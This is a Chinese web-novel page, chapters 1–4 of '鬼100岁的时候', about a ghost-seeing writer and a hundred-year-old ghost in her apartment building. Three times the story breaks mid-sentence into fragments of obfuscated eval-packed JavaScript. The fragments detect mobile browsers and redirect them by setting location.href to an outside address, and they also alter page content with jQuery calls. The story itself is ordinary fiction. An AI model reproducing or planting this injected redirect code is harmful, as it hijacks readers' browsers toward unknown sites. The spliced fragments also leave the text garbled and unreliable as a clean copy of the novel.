《鬼100岁的时候》 1. 100岁 农历七月,阳光铺天盖地却遮不住不断滋生的黑暗的一个月份。 诡异的感觉从喻声码单主要求的吸血鬼设定的小短篇开始就没停下来过。 先是冷风袭来,燃着的线香灭了大半;再是手臂上白雾缠绕,白雾所到之处均掀起一片细小的颤栗—— 都是些不伤人的小动作,摆明是为了吓唬她。 可此刻对于喻声来说,悬在眼前的ddl更吓人,于是她没管,强装冷静,用更急促的敲键盘声来压住因稍微分心而有点躁动的心跳。 但来者完全不懂点到为止的道理,愈发地得寸进尺,等到喻声码到“吸血鬼男主有严重的口欲期”这句话时,她的左肩突然一重,脖子被冰凉的异物贴上,随之而来的嘶嘶声音猛烈攻击耳膜。 忍无可忍。 喻声停止敲击键盘,右手不动声色地伸向胸前的佛牌,低声紧急念了一段驱鬼的咒语。 “能不能别念了。” 和引起喻声耳鸣的恶劣的嘶嘶声不同的是,此时凭空响起的声音意外地带着少年气,脆生生的,一字一顿的,“既对我没用,又打扰我看文了。” 到底是谁打扰谁? 喻声深吸了一口气:“……不是因为你是鬼就可以为所欲为的。” 她揉揉眉间,冷静了两秒,干脆利落地把电脑合上,做出了最大的让步:“你能不能安安静静地看,别再让我发现你在这里了。” 喻声话音刚落,那团缠着她手臂的白雾就逐渐褪去,变得透明,在明明暗暗的灯光下隐约显出人形—— 剪裁考究的西装,随着起身的动作胸前挂着的金属链子晃啊晃,黑色皮鞋在地板上点了两下叩叩作响,虽看不太清脸,但仍能想象他在听到喻声的话时脸上浮现的顽劣的笑容,混不吝的话随之吐露出来。 “谁让你爱写这种西方玩意的。” 喻声社恐,因此大学毕业后她毅然而然地选择居家工作,在网上接文稿赚取生存费用,和单主的沟通隔着屏幕,在舒适圈范围内;再加上她体质特殊,没什么朋友,除了偶尔和作为神婆的奶奶,也就是王春华女士打打电话,汇报一下最近还有没有看见不干净的东西外已经很久没有开口说过话了,完全没想到有一天沟通的对象会变成鬼。 果然一个人太久不说话是会出事的。 喻声平心静气,拿出面对甲方的态度,试图传授给这个一看活着的时候就不差钱的大少爷一个普通人生存的道理:“我更文的设定是单主要求的,她给钱,我无权拒绝。” “无权拒绝?”大少爷嚼着这几个字,贴着喻声的耳朵冷笑,阴森森地,“那昨天把我爱看的给拒了是几个意思?” 连续几个晚上被小鬼折磨得睡不着觉,好不容易提起点精神气码字还被贴脸攻击,喻声此时觉得自己比他还阴森,她没有动,只握紧了佛牌,学着他冷笑,发起了一场尖锐的对峙:“你当鬼都一百年了,还不懂是什么意思吗?” 一百年这么准确的时间跨度,不是喻声胡乱猜测的,是刚住进来的当天,被迫围观了一场鬼的内斗大戏时听到的。 一枚硬币有正反两面,房子也有,正面刻着阴气重,是凶宅,相对应翻过来的那面就写着租金便宜,是收入不够稳定的喻声当下最好的选择。 反正无所谓,不管阴气重不重,她这双眼睛都能额外框住另一个维度的东西。 入住当晚,鬼压床把安眠药的作用轻巧地折了个半,喻声没睡着,却意识涣散,全身僵硬,难以动弹,挣扎间血液涌动压迫心脏,她紧咬舌尖,强迫自己清醒。 片刻后,仿佛大梦初醒,喻声身上的压力减轻,脑海中那根紧绷着的弦终于得以放松下来,还以为是念的佛咒起了作用,却捕捉到了旁边的声音。 懒洋洋的,带着点蛊惑人心的魔力,格外清晰,一个字一个字如玻璃珠不偏不倚地弹跳进喻声的耳朵里。 “我当鬼都一百年了,还从来没见过有小鬼敢在我的地盘上这么放肆的。” 好吧,说内斗也不太适合,纯粹是大少爷的单方面碾压。 自此之后,他像是途经百年重新找到了什么乐趣一般,常在喻声的房间停留,最爱做的事就是趴在电脑前,等着喻声龟速般地码字,每每太阳换了位置才看完一篇,再心满意足地飘回楼上。 他的自在,换来的是喻声的不自在。 人鬼殊途倒是其次,最重要的是他总在喻声写到他喜欢的题材不喜欢的情节时搞些恶作剧,让喻声的交稿进度一再拖延。 这么被打扰下去也不是办法,喻声无可奈何,唯一能做的,就是默默地把接单主页上的个人简介内容从“擅长民国爱情、现代架空等”改成“擅长西幻爱情”,文稿展示也全部更换,力争多接点他这种百年前的老古董不爱看的单,来减少共处一室的机会。 第一次果然奏效,大少爷一来,瞥了两眼发现不感兴趣就走,但次数一多,还当着他的面委婉地拒绝了一篇民国背景设定的文,是人是鬼都得回味出点不对劲来了,于是就发生了刚刚那一幕。 胶着间,喻声没有防备,腰部被狠狠擎住,五脏六腑被挤压成一团,她踉跄了两步,后背没有缓冲地猛烈撞向书架,五脏六腑又被冲撞开,像板块运动,从喉间逸出的血腥味是板块挤压碰撞的新产物,那句“能不能动口不动手”覆在血腥味上划破喉咙,被紧紧咬着的牙齿拦住没能说得出来—— 喻声后知后觉发现了不对劲。 她一开始还以为是大少爷自知理亏不同她争辩改成上手,目光所及却发现他还好整以暇地待在原地,喻声艰难地低头一看,腰间张牙舞爪的分明是一团黑雾,和他的透明身形产生了鲜明的对比。 一枚硬币有正反两面,命运却没有,越是苦难的人越容易再次接触苦难,伴随着天生阴阳眼而来的,是喻声的身体对鬼魂来说有着致命的吸引力。 从喻声开始记事算起,有数不清的差点失去身体掌控权的时刻,这些时刻拼拼凑凑构成一部电影,电影没有起承转合,全是高潮,在她的脑海中没日没夜地倒带循环播放。 她是电影的主角,是唯一的受害者。 是无法被拯救的受害者。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373064|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一如现在。 在尝试一系列对付鬼魂的办法都失效后,喻声认命般地闭了闭眼,在黑暗中平静地等待这部电影的落幕。 可意料之外地,黑暗被暂时夺走,有一道白光晃过,亮度足以刺过眼皮被眼睛接收,等到重归黑暗时,腰间的蛮力已经被卸下,五脏六腑随着呼吸恢复回归原位,喻声犹豫了一下,还是半睁开了眼。 意料之中地安全了。 喻声眨眼缓冲。 熟悉的透明身形立在散落一地的书边,他的透明度降低了些,在此刻,喻声终于成功地看清了他的脸,看清了他嘴角上扬,笑起来时脸颊两侧浮现的小括弧很柔软,把阴冷感锐减了好几分。 明明是老古董一个,却念着喻声刚赋予吸血鬼男主的、狗血肥皂剧的台词,强势介入,成为了电影的新主演。 “就说没我不行吧。” 短短的一句话化作利剑,硬生生地把硬币从中间剖开,于是除开正反两面后,出现了第三面。 - 把房间收拾干净,再熟练地从药箱里掏出气雾剂给伤口上完药后,喻声也歇了继续码字的心思,她一步一缓,慢吞吞地往厨房走,准备吃点什么来充当大脑转动的润滑剂,理一理刚才因过度惊慌而乱成一团麻的思绪。 躺在冰箱最中央的、昨天剩的半块披萨比起其他仍需要加工的原材料更快进入喻声的视野,派上了用场。 喻声刚搬来这里,还没来得及去跟厨房设备上飘落的灰告别,冷掉的披萨没有立即升温的可能,好在她对食物的要求不高,将就着倚在冰箱门前就开始咬。 嚼进去的是干巴巴的香肠粒和披萨皮,吐露出来的是自我介绍,作为延续刚刚被迫打断的话题的粘合剂。 “我叫喻声,比喻的喻,声音的声。” 隔着厨房半开的推拉门,有一小块黑暗被悄无声息地占领。 喻声的动作没有因来人而停顿下来,她三两下就把半块披萨解决,抽了张纸巾擦嘴后就垂眼侧过身去开水打泡冲洗留有碎屑的盘子,在此期间没有得到任何回应,等到她清洗完毕后才重新听到声音。 “江时。” “江河的江,时间的时。” 没被披萨理清的思绪被相似句式的自我介绍理清,喻声把盘子甩干放置一旁,转过身问他:“要谈谈吗?” 江时听到话后没动,顿在厨房门口,身形依旧近似透明,喻声的目光透过他,直直地降落在没有一丝亮光的客厅上,突然害怕会听到他说不行。 如果他说不行的话。 如果他说不行的话—— 喻声往后坠,重新陷入一个永久的噩梦里,被那些带着恶意的鬼魂勒住心脏,再也醒不过来。 喻声猛地惊醒,从床上撑坐起来,扭头看向窗外才发觉外面大亮,已经是新的一天。 农历七月,阳光铺天盖地,比刚出炉的面包还要温热柔软,暂时能遮住黑暗的一个月份。 她听到了。 他说—— “行。” “谈谈。” 2. 100岁 和鬼谈判不是件容易的事。 更何况对面还是个狮子大开口的鬼。 喻声起了个大早,先把厨房遗留的灰清扫干净,再把寄过来后还没拆封的纸箱里的瓶瓶罐罐拎出来,从低到高在架子上堆成多米诺骨牌,收拾到最后好心情地掏出新的煎锅煎了个蛋,左手撑着台面右手举着锅铲就地把煎蛋塞进嘴巴里。 等她的晨间工作陆续收尾后,在旁边靠着冰箱双手抱胸的江时才堪堪把要求提完。 “等一下。”喻声紧急打断他,问,“买菜为什么还得买你的份?” “我也想吃。” 特别理所当然的话。 “……”喻声把用完的煎锅放进洗碗池中,“鬼也能吃东西?” “香火供养的话可以,楼上有香案。” 香火供养,慰藉亡灵,喻声在很小的时候听春华女士提过。 据说灵体会吸收上供的食物能量,因此上香过后,食物虽然还在,但味道会变淡,甚至无味。 本来想到食物还在的喻声立马脱口而出“那买一份就够了,你先吃完我再吃”,下一秒又想到味道会消失,吃东西形同嚼蜡,喻声又马上觉得虽然她对食物的要求不高,但不至于这么严苛对待自己,最后还是把话咽了回去,说了句“行,买两份就买两份”。 “把简介和文稿展示换回来、没接到你喜欢的文隔几天就写一篇给你看、准备你的饭、客厅腾给你住——”喻声总结了一下,“包吃包住包精神需求,就换来一个你抬抬手就能做的事,我是不是有点太亏了?” “觉得亏啊。” 江时笑了下,嘴角的小括弧里藏着刀,他终于舍得离开一直挨着的冰箱门,隐隐有往外挪的趋势,“门口堵着的那些,要不要我帮你喊进来?” 他这么一动身,冷风穿堂,多米诺骨牌没有骨气地倒下。 相处时间虽然不长,但喻声对于江时多少还是了解一点。 他惯会仗着本事威胁人,恶作剧接连不断,但真论起来伤天害理的事倒真没做过,否则他现在就该发挥鬼的专长,动动手指把那些小鬼放进来,而不是嘴上不依不饶,却还是好好地定在原地,等着她的回答。 她昨晚的判断错误。 沟通的对象变成了鬼,还不错。 喻声想。 “谢谢啊。”于是她眉眼一弯,“你还挺仗义的,要求还没谈妥就已经在帮我拦下它们了。” “……” 江时本来在等着喻声出招,在他的预想中,招数应该是方方正正的,有棱有角的,直愣愣地砸过来好让他接住后变本加厉报复回去。 但不是。 面前的人,眼睛里盈盈漾着光,抛过来的话轻轻,轻轻,比刚引起他提出“要准备他的饭”这个要求的那颗煎蛋还要圆润、软和。 他对煎蛋尚且无法抵抗,更何况是赤裸裸的夸奖。 江时面不改色,偏过头去盯着倒下的多米诺骨牌,半晌后,目光才晃晃悠悠落到鞋尖,落到地面:“算了,不用多写给我了,你写什么我就看什么吧。” 喻声从江时迟疑不说话开始就在盯着他看。 她觉得自己要比他更迟疑才对。 她都不太明白她是不是说了什么不该说的话,否则这个哪哪都苍白的鬼偏头时朝向她的那只耳朵上怎么会突然蹿起红色的火苗呢? 但并不重要。 “写给你不难。”不管是不是说错话了,他肯做出让步是好事,喻声踌躇了一会儿,还是想顺着杆子往上爬一下,“但你能不能少提点意见,有时候思路被你打断了之后整篇文都得推翻重来。” “行。” “吃饭跟着我的时间来?我工作的时候走不开,没空上楼帮你上香。” “……行。” “那——” “……你别太过分了。” 喻声话还没说完,就被江时打断:“我可没有那么好说话。” 喻声笑,把煎锅从洗碗池里捡回来,稍微举高了下看了眼锅底,有点沾到水,她抽了张纸巾把水擦干净后才把刚没说完的话继续往下说:“我是问,现在到我吃饭时间了,你吃不吃煎蛋?刚好煎锅还没洗。” 江时表情不自然地把一边倒的瓶瓶罐罐扶了起来。 “……吃。” - 江时盘腿坐在香案前的蒲团上吃饭的时候,喻声正在参观他住的这片废墟。 这栋公寓一共六层,喻声住五楼,江时住六楼。和往下五层不同的是,六楼并未被精装修覆盖,左右两间房打通,楼道间连灯都没有,灰扑扑一片,窗户紧闭把室内室外的空气切割开来,越往深走,鼻腔充斥的粉尘焦气味就越来越浓,除了正中间摆着的香案,眼神找不到其他可以聚焦的地方。 怪不得当初她问最上一层有没有空房出租,房屋中介支支吾吾,最后说了句没有,如果住进来了也别往顶楼去。 虽然不知道房屋中介具体遭遇了什么,但能从他那张提起顶楼就开始变得皱皱巴巴的脸想象出来,严重程度绝不亚于买了十年彩票一张未中。 房产中介没中的彩票,倒让她中了。 喻声垂目看向江时。 香案前有一对蒲团,喻声这么一低眼,就瞥到了另一只没被江时坐住的蒲团下压着东西。 好奇心一上来挡都挡不住,喻声屈腿蹲在蒲团边,指了指东西露出来的一角问江时:“这是什么?” 江时从煎蛋堆里抬起头来,没犹豫地伸脚把蒲团挑开,声音含糊:“你自己看。” 蒲团轻易地翻了个身,东西还好好地待在原地,喻声伸手拨弄,是一张照片。 照片边缘处发黄发蔫,表面比房屋中介的脸还要更加皱皱巴巴。喻声认得出来,弄堂背景下,左边的这个漂亮小男孩儿,是江时。 除了比现在的他要稚气很多,脸颊肉要膨起来很多,其余倒没有什么变化。 右边的,是一位夫人。 无神的眼,泪痕未干模糊在脸上,衣服很素,紧紧裹在身上,脚边还放着一只看不清颜色的皮包。 明明有汹涌波涛、无以复加的悲伤,却被照片的黑白色吃掉了。 喻声看得出神,不知不觉屈腿久了,头晕目眩,胸有点发闷,她双手撑地闭眼缓了一会,才重新站了起来。 她没问,反而是江时有点忍不住:“看这么久,没什么想说的吗?” 喻声观察着江时的神色,发现他只是单纯的询问不带别的抵触情绪,才反问回去:“这个小男孩是你吗?” “右边的女人是我母亲。” 喻声眨眨眼,重新蹲下来和江时平视。 他倒是知道其实她最想问的是什么。 喻声噢了一声,没说其他话,江时的眉心簇起,客气的话不客气的语气:“你能不能找个地方坐,我怕你等会晕过去了,再神通广大的鬼也做不到把你带回去。” 话毕,他把手中的盘子放下,俯身把蒲团往喻声身侧推了推。 喻声说了声谢谢,学着江时盘腿坐在蒲团上,锤着有点发酸的腿,示意他可以继续往下说。 “这张照片,是她把我推向父亲的前一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373065|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天拍的,从这天过后,我再没见过她。”江时把腿伸直交叉,双手往后撑地支着身体,歪头,直直望向喻声,不知在想什么,片刻后才笑出声,“真是奇怪,怎么会跟你说这些。” “真是奇怪,怎么会跟你说这些,反正你也不会懂。” 高敏抬起疲倦的双眼,发了很多次脾气后难得平静地和喻声说话,“喻声,妈妈很累了,你以后不要再来找我。” 第一次听到这句话的时候,喻声十五岁。 喻声印象中的高敏总是歇斯底里的,眉毛高高吊起,说着那些翻来覆去的我恨你你怎么不去死的话,却在那天第一次给喻声买了草莓蛋糕,往下坠的果酱鲜红,白色奶油承受不住也跟着一起往下流淌。和蛋糕一起递来的是她的出国签证材料,最后她叹息,说你放过妈妈吧。 放过妈妈吧,轻轻巧巧五个字,轻轻巧巧说出来。 说不清楚是谁有过错,命运牵出红线,不管不顾地把没有缘分的两个人紧紧绑在一起,于是有些事情喻声从很早就知道无法避免会出现,只是没想到会来得这么快,快到她稀里糊涂地在丢了爸后又丢了妈中独自长大。 喻声真的长大了,再次听到这句话的时候,她已经二十三岁。 喻声低头,八年光阴在心头绕了一圈,才轻声问:“过得好吗?” “什么?” “应该没法过得很好吧。”喻声又说,“……离开了母亲之后。” “你看我变成现在这个样子——” 江时又歪头,露出左边苍白的脖颈,刹那间大团黑从衣领处翻涌上来,如星火燎原,把他的半张脸都隐了去,只留了双眼睛,冰冷、锐利。 他只是静静坐在那,竟比恶作剧时还要更可怖。 “——怎么会过得好。” 春华女士说,鬼魂逗留在人间,多半是因为执念过深,遗憾过重,黑白无常勾不走。 江时现在看起来年岁不大,和照片里相差最多十岁,算算活着的年纪,也才二十左右。 肯定过得不好吧。 喻声顿了一下。 不然怎么会在这么小的年纪,就有这么深的执念,让他过了漫长的一百年仍不肯入轮回。 喻声笨拙,说不出安慰的话,只知道如果自己做不到让他恢复照片里的稚气,恢复照片里的脸颊肉也好,所以她也不管鬼吃东西到底能不能进到胃里帮助长肉,就先问出口:“要吃点别的吗,心情不好的时候吃点东西会开心一点。” 那团黑在江时脸上滞住了,最后慢慢褪去,恢复了他原先有点透明的身形。 江时瞅了眼旁边的盘子,胸前的金属链子一晃一晃:“还是你做吗?” 喻声想了想:“速食,你吃吗?楼下就有家便利店,我下楼买。” 她怕江时听不懂,又解释:“这个世界发展很快,有很多提前加工好的东西,不用花时间去做很快就能吃上。” “我知道,在这里住久了,有看到其他租客吃过。”江时说,“这么快做好的,应该不太好吃吧?” 喻声也不太确定对江时来说算不算得上好吃,但她觉得能连续吃十个煎蛋都不觉得腻的人口味应该是很朴实且包容性强的,于是她说:“我挺喜欢的,你可以试试。” 江时点头,犹豫片刻。 “那吃速食的话,能再加个煎蛋吗?” 喻声:“……” 他不会只是单纯喜欢吃煎蛋吧。 “加两个也行。” 喻声起身,把蒲团归回原位,准备下楼。 “你喜欢就行。” 3. 100岁 一离开六楼才察觉到降低亮度的天。 虽然现在已经是盛夏,但东宜近海,傍晚的风每次都来得很不讲道理,稍微不注意就喜提感冒。喻声先回了趟家,拿了件外套穿上,拿了个口罩戴好,才慢悠悠往楼下走。 江时理所当然地没跟来。 喻声走的时候他还待在六楼,静静地看那张再也没被东西遮住的老照片,整个身影沉闷地被房间的灰尘裹挟着。 江时和她不同,喻声敏锐地察觉到。 他对母亲的情感更像是特爆酸糖,恨来势汹汹,但只有薄薄一层,虚张声势地裹在一整颗怀念的甜外面。而自己怀念不能表现,恨也不能达标,所有扭捏藏在撬也撬不开的蚌壳里面。 怀念和恨一旦被看见,会伤害到其他留在她身边的人。 喻声开始有点想春华女士了。 她边走,边拨了个电话过去。 一秒,两秒,接通。 一边耳朵是嘈杂的车辆鸣笛声,一边耳朵是让人眼睛模糊的亲切的关心。 “我们生生,怎么在这个时候给奶奶打电话?吃饭了吗?最近身体怎么样?” “想我们春华女士了。”口罩里传出来的声音闷闷,“想吃蒸鱼了。” “那就回来,奶奶天天给你蒸鱼吃。”王春华说,“反正你也算是居家工作,要不还是回来吧,住到奶奶这里,那些脏东西不敢近你的身。” “天天吃蒸鱼,岂不是以后看到蒸鱼就害怕?” “那你天天吃泡面,怎么没看到泡面就害怕?” 喻声拿起泡面桶看日期的手就是一顿,而后若无其事把藤椒味的放回换了桶牛肉味的看:“乱讲,我哪有天天吃泡面?” “真的没有?” “真的没有。” “生生啊。” 听筒那边有煲汤时咕嘟咕嘟的冒泡声。 喻声吸了吸鼻子。 “你买的那箱藤椒泡面忘记改地址,寄回家里来了。” 喻声:“……奶奶你变腹黑了噢。” “要拿捏你还不容易?” 王春华笑得开心。 笑过后,也更加忧心忡忡,王春华把举起的汤勺又撂下,走出厨房叮嘱喻声:“现在七月,你自己要多加小心,搞不定了就给奶奶打电话。” 喻声犹豫片刻,话到嘴边,还是决定江时的事先不说为好。 江时再好,也是鬼。 她有需要留在东宜的理由,所以暂时不能回家,不能让春华女士隔着几千里远还在替她担心。 喻声伸手把看过日期的藤椒味和牛肉味的泡面扔进了购物篮里,说了声知道了。 最后也没唠两句,电话以王春华急匆匆去管理快要沸出来的汤,丢下一句少吃点泡面结束。 其实不用春华女士提醒,喻声也不常吃泡面。那箱藤椒味的泡面买来是为了应对不时之需,例如昨晚那种,不想出门,但整个冰箱只有披萨暂时能吃的情况。 比起泡面,她爱吃的速食,还得是代餐酸奶和这家超市的特供三明治,三明治夸张的内陷和便宜的房租成为了喻声在这里继续住下去的唯二理由。 但事有例外。 比如。 这家超市的收银员小姐,在扫描商品时很疑惑地诶了一声。 “今天不买酸奶和三明治吗?三明治快卖完了,我还给你留了最后一个。” 这种被陌生人记住的感觉让喻声有点无所适从。 收银员小姐的话传到了她耳朵里宛如晴天霹雳,硬生生地把口罩劈成了两半,对于喻声这种极度社恐来说已经和裸奔没什么区别,惊得她马上把便宜的房租列为在这里继续住下去的唯一理由,只是可惜了还没吃腻的三明治。 晴天真的霹雳了,外面开始下起了毛毛雨,玻璃窗上的色块糊成一片,便利店的门敞开半边,有只茸茸小狗哗啦啦蹦进来躲雨,拖了湿答答的一路。 小狗尾巴甩啊甩,收银员小姐的手跟着在喻声面前晃啊晃。 喻声收回视线。 她表面不显,自然扭头后伸手把鼻子处的口罩横条捏紧往上抬,假装把头发塞到耳后实则摸了摸还牢固待着的耳带绳才放下心来。 “那帮我加上吧,再帮我拿把伞,谢谢。” 随着食物袋子和伞一起递过来的,是一根棒棒糖,收银员小姐笑得开心,眉眼往上挑:“这是礼物,谢谢你这么捧场我们超市的三明治。” 喻声呆了一瞬,不好意思地再次说了声谢谢。 不管对于物品本身喜不喜欢,收到礼物、吃到甜的,心情总会变好一些。 喻声突然想到了什么,伸手指了指刚放在三明治旁的切块小蛋糕:“能帮我再拿一块蛋糕吗?” 喻声在问,对面的收银员小姐也在问,两道声音叠加在一起,一高一低,一道兴奋一道柔和。 “您是住旁边这栋公寓吗?能跟您打听一下公寓的具体情况吗?” - 雨伞太小,东西太多,喻声到公寓楼下时和那只冲进门躲雨的小狗已经没什么区别。 雨滴顺着手臂和塑料袋的提手往下滑,喻声把伞往旁边甩了下,抵着墙收了起来,这才能腾出手把往下滑的水稍微擦干,避免袋子里的东西被水浸湿。 楼道里很冷清,只剩喻声走路的踏踏声。 大抵是天气恶劣,人不愿出门,鬼也没那闲心思出来吓人,一路从底走到五楼都很太平,喻声小幅度松了口气,把口罩扯了下来,正想往兜里摸钥匙,屋门却自己打开。 有谁在不言而喻。 喻声把伞丢在门口,推门进屋。 果然是江时。 他不知道是什么时候从六楼下来,此时正坐在客厅的地板上,靠着后面的沙发,一腿放平,一腿屈着,腿撑着手胡乱按着电视遥控器,听到开门声也没回头。 “好慢。” 语气闲散自得,完全没把自己当客人。 喻声把湿了的鞋脱了换成拖鞋,开了个灯:“你还会看电视呢。” 江时倒是很坦率:“不太会,但也不难。” 他边漫不经心地回答着,边换了个频道看。电视界面弹出广告,哪个键都点不掉,江时嘶了一声,丢开遥控器,转头看喻声,随即眉头皱起,手撑着沙发站起身。 “为什么淋成这样?” “雨太大了,临时买的伞又太小。”喻声扬了扬手中的袋子,“没事,我等会回来再洗个澡就好了,先上楼吧,解决你的吃饭问题。” 江时看起来很烦躁,眉间久久未抚平,他敛下眼:“先去洗澡,我不趁人之危。” 喻声眨眼,迟疑:“……啊?” 趁人之危不是这么用的吧。 “我是说,我现在暂时不想吃饭了。” 外面的雨渐渐歇了下来,电视广告也不知何时停了,整个空间只剩江时的声音,恍恍惚惚,仿佛时间流转,退回他帮喻声驱赶小鬼的那个晚上。 “在你洗完澡之前都不想吃了。” “我——” “快去。” 喻声是个记忆力不太好的人,很难说是不是因为记忆力不太好,所以能记得的关心也不多。 在这其中,春华女士占据大部分,因心脏病去世的父亲喻之樾也有一点,高敏的则记不太清了,草莓蛋糕算一次,却没有比她的出国签证材料来得深刻。 因为记忆里仅存的关心不多,所以再次来临时才会显得格外特别。 更特别的是,这份关心来自一只鬼,一只本游存于她世界之外的鬼,一只做事情随心所欲的鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373066|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一只比起关心她显然更在意袋子里的食物的鬼。 这只鬼,明明眼神止不住地往她手中的袋子里的食物上瞟,嘴里却还是坚持说着让她去洗澡—— 哪怕他已经发挥鬼的特权,把她身上多余的雨水清理掉了,仍尊重她作为人时需要通过热水澡来恢复温暖的习惯。 雨水褪去,取而代之的是从头顶的花洒中倾泻下来的热水。 喻声闭眼,任凭头发受水的冲击贴着脸。 水蒸气糊了眼睛,等到喻声再次睁眼的时候,煮水壶的温度显示已经跳到了100。她一手掀开泡面盖,一手举起煮水壶往泡面桶里加水。 泡面是藤椒味的,是此时在客厅聚精会神地看着电视的江时自己选的,选的时候他也没多犹豫,只撂下一句不喜欢红色,就把牛肉味的留在了袋子里。 泡面、煎蛋和小蛋糕,喻声把所有食物准备完毕整齐地摆在盘子上后,才出了厨房喊江时。 江时也自觉,应了一句,就从地板起身,端起盘子,跟着喻声后面慢吞上了六楼。 这栋公寓是一层两户,喻声对面还没有租客,六楼又被江时占据,所以往上走不可能遇到人,喻声才放心让江时端着盘子。否则让其他住户看到盘子跟在她身后飞,怕是会立马吓晕过去。 熟悉的上香步骤,唯一不同的是江时没选择跟上次一样坐在蒲团上吃饭,而是继续端着盘子,跟在喻声后面想下楼。 喻声扭头看他,不解:“怎么了吗?” 江时咳了一声:“电影,我还没看完呢。” 终于又多了一点他和其他鬼不太一样的实感,喻声偷笑,到底没阻止他往下走的步伐。 等回到了家,喻声没再管江时,立马把三明治丢进了早上刚清理干净的微波炉,叮的一声响后取出来迫不及待地咬了口。 嗯。 再没食欲的人也抵挡不了热乎乎的这一口。 真的暂时不搬家了。 喻声满意地下了论断。 她倒了杯水,捧着三明治,往客厅走,等坐到了沙发上,才有空看了眼到底是什么电影这么吸引江时。 “救命——” “该死,这个鬼地方怎么出不去!” 屏幕里,女主撕心裂肺喊着台词,拼命逃离地下室,后面还跟着流着血泪往前狰狞着爬的恶鬼。 喻声:“……” 她瞥了眼依旧坐在地上,吃着蛋糕幸福地眯起了眼的江时,忍不住问:“鬼也会喜欢看鬼片吗?” “不是喜欢。”江时吃了口蛋糕,“我在观看记录里面随便找的。” 他侧身看喻声,又扭头看电影,说:“我没理解错的话,观看记录,是你看过的意思吧?你不是怕鬼吗?还看鬼片?” 喻声:“……” 经他这一提醒,这下真的全都想起来了。 这部鬼片剧情诡异,火爆程度也诡异,衍生产品一大堆,之所以会在喻声的观看记录里,是因为有个单主想让她以这部电影为背景,写篇同人文。 而喻声只打开看了五分钟,就回房间登上账号,跟单主道歉,说明了自己不敢看的情况,取消了这一单。 此时江时观看的进度条已过半,怪不得喻声对这一幕完全没有印象。 面对江时的询问,喻声选择了嘴硬:“我不怕鬼啊,我怕鬼怎么会看鬼片?” 江时吸完最后一口方便面,把遥控器按了一圈,才找到暂停键。电影定格后,他手撑在沙发上支着头,看向喻声,语气中带着好奇,认真地问。 “你脖子上戴的佛牌和手腕处缠的佛珠都是为了好看才用的吗?” 喻声抢回遥控器,按了关闭,冷笑。 “是为了不遇到讨厌鬼才用的。” 江时默了一瞬:“……” 4. 100岁 仅用了一个晚上,喻声就学会了一个道理—— 毕竟是人,不是鬼,总会有力所不能及的事,做不到的事就不要硬做,要学会放过自己。 虽然昨天晚上恼羞成怒时她已经把电视关掉了,可最后还是被江时一副“我懂的你果然不敢看吧我谅解”的表情成功激到,眯着眼头脑放空把电影囫囵看完了。 “现代人好有意思。”电影落幕后,江时说。 “什么?” “明明怕鬼,还拍鬼片,真会想办法折磨自己。” “也不算折磨吧。”喻声撑着最后一口气,扯出点干巴巴的笑缓和气氛,“刚才那部电影也不怎么吓人啊。” 江时挑了挑眉,含着笑意拉长声音说了句这样啊。 喻声近乎本能地察觉到他的表情不对劲,还想再说点什么,可到底没等她说出口,下一秒,对面的江时面目开始扭曲,血泪开始流下,刹那间狰狞地俯身贴近她,阴森森地顺着她的手臂往上攀,竟和电影里的恶鬼没两样。 喻声:“……!” 果然! 能别老是做这种她意料之中却还是会被吓到的事吗! 好在江时这副样子也没持续多久,在他凑近发现喻声手中的杯子抖动得厉害的时候,就已经慢慢恢复原样。 比起喻声,恶作剧的江时反而更先叹气,他伸手,把杯子接过来放到茶几上,颇有点恶人先告状的意味。 “你这个体质,怎么能做到这么毫无防备的?” 喻声还有点惊魂未定:“你这种突如其来的,怎么防备?” 江时又叹了口气,看样子有被为难到。 “那你现在防备一下。” 喻声警惕:“你要干什么?” 很快喻声就知道江时要做什么了。 她一晃神,面前的江时竟冷不丁变成了刚才电影里的男主角。 男主角在电影里的戏份不多,相当于女主角的腿部挂件,但他一出场,电影就会暂时跳脱出恐怖的氛围外,陷入甜蜜的恋爱中。 因此到了他的戏份,喻声才敢稍微放下心看。 不仅放下心看,还记得很牢固,准备当下一次训练文笔的素材。 还有个很重要的原因。 这个男主角的演员,真的有点美貌,在电影里一众凶神恶煞的男配角中,显得格外的温和明亮。 喻声眨眼,伸手捏了捏“男主角”的脸颊。 触感挺好,软乎乎的、冷冰冰的。 ——想变成什么样就能变成什么样,做鬼是真的有点酷的。 喻声想。 想到这里,她不由得笑出了声,又趁机捏了两下。 刚才一点不愉快烟消云散。 江时:“……” “不生气了吧。”他屈着一条腿跪在沙发上,把搭在喻声腿上的毯子往上拎,罩住她脑袋,把黑暗的世界隔绝,“回去睡觉。” 说是回去睡觉,怎么睡得着? 逞强看电影的后果很快显现。 